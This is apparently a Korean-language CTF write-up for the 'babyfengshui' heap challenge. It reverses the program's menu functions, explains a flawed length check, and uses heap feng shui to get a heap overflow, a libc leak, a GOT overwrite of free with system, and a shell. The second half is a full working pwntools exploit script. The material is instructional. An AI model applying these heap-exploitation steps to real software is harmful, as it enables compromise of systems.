# Protection Tech
# file
# code
1. add user
- size 크기만큼 malloc해서 그 heap 주소를 desc 변수에 저장, 초기화
- 0x80 크기만큼 malloc해서 UserInfo 변수에 heap 주소 저장. 초기화
- UserInfo 구조체에서 desc 영역에 desc에 저장된 값 저장.
- UserList 전역변수에 UserInfo 값 저장
- setName 함수로 UserList[count] + 4 영역에 124바이트만큼 name 입력받음.
- update 함수로 desc 영역에 값 저장.
2) delete
- index 값이 count보다 작고, UserList[index] 값이 0이 아닌 경우
- UserList[index] 값, 즉 UserList[index]->desc, UserList[index] 영역 해제
- UserList[index] 영역에 0 저장
3) display
- index가 count보다 작고 UserList[index]가 0이 아닌 경우
- UserList[index]+4, 즉 name 출력
- UserList[index], 즉 desc 출력
4) Update
- index가 count보다 작고 UserList[index]가 0이 아닌 경우
- desc 영역에 입력할 문자열 길이 length를 다시 입력받음
- userList[index] >= UserList[index]-4, 즉 desc 영역에 입력할 값이 userInfo 영역 침범하는지 확인
=> 취약점 발생 !!! : userInfo 영역이 desc 영역 뒤에 반드시 할당되는 보장 없음
# Heap Layout
Heap Feng Shui : heap의 레이아웃을 조정함으로써 Exploit에 영향을 줄 수 있는 Heap 레이아웃 형태
- add user 시 description, userInfo 영역 할당됨
- 처음 등록된 유저 삭제 시 할당된 heap 영역이 해제되어 fastbin[0], unsortedbin(136) 공간 생성됨
- 새로운 유저 등록 시 description 영역으로 unsortedbin(136) 영역에 할당받음
=> 해당 유저가 할당받은 desc 영역과 USER *userInfo 영역 사이에 다른 유저 정보가 위치하게 된다.
- text length 값으로 유저 생성 시 입력한 description 영역 크기보다 큰 값 입력해도
“userList[index] >= UserList[index] – 4”
조건 우회 가능, heap overflow 가능
# process
1) add 3개 유저
- 마지막 유저의 desc, name에는 “/bin/sh” 저장
2) free(0)
- unsorted bin에 등록됨
3) add user
- desc 크기를 120으로 하면 unsorted bin에 등록된 것 할당해줌.
- 1의 UserInfo->desc에 free got 넣음 (Heap overflow)
- 주의 : name 크기는 desc 크기 정도이어야만 desc 페이로드 넣을 수 있었다.
4) libc leak
-1번의 UserInfo->desc에 free got가 저장되어 있으므로 display 메뉴에서 출력
- system 함수 주소 구함(ASLR)
5) GOT overwrite
- 1의 UserInfo->desc에 들어가있는 free@got를 update 함수로 system 함수 값을 입력
free@got에 system 함수 주소가 적힌 것 확인할 수 있다.
6) free(2)
- free의 desc에 “/bin/sh” 넣어놨으므로 free도 system으로 덮혀서 system(“/bin/sh”)가 실행되게 된다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./babyfengshui")
gdb.attach(p)
elf = ELF("./babyfengshui")
#libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc = elf.libc
free_got = elf.got['free']
binsh = "/bin/sh\x00"
def add(size, name, length, desc):
p.sendlineafter("Action: ", '0')
p.sendlineafter("size of description: ", str(size))
p.sendlineafter("name: ", name)
p.sendlineafter("text length: ", str(length))
p.sendlineafter("text: ", desc)
def delete(index):
p.sendlineafter("Action: ", '1')
p.sendlineafter("index: ", str(index))
def display(index):
p.sendlineafter("Action: ", '2')
p.sendlineafter("index: ", str(index))
def update(index, length, desc):
p.sendlineafter("Action: ", '3')
p.sendlineafter("index: ", str(index))
p.sendlineafter("text length: ", str(length))
p.sendlineafter("text: ", desc)
add(10, 'A'*10, 10, 'B'*10)
add(10, 'C'*10, 10, 'D'*10)
add(10, 'E'*10, len(binsh), binsh)
# 0 chunk -> unsorted bin
delete(0)
# heap overflow
pay = 'B'*152+p32(free_got)
add(120, 'A'*120, len(str(pay)), pay)
# libc leak
display(1)
p.recvuntil("description: ")
free = u32(p.recv(4))
libcBase = free - libc.symbols['free']
system = libcBase + 0x3ada0
log.info("free : "+hex(free))
log.info("libcBase : "+hex(libcBase))
log.info("system : "+hex(system))
#gdb.attach(p)
# GOT overwrite : free#got <- system
update(1, 4, p32(system))
# system("/bin/sh")
delete(2)
p.interactive()
# exploit
[HITCON CTF 2017] start (0) | 2020.02.28 |
---|---|
[DEFCON CTF prequals 2019] speedrun-009 (0) | 2020.02.28 |
baby_heap_1 (unsorted bin attack) (0) | 2020.02.28 |
[HITCON-Training] lab11 bamboobox (unsafe unlink) (0) | 2020.02.28 |
[Codegate 2018] Super Marimo (0) | 2020.02.09 |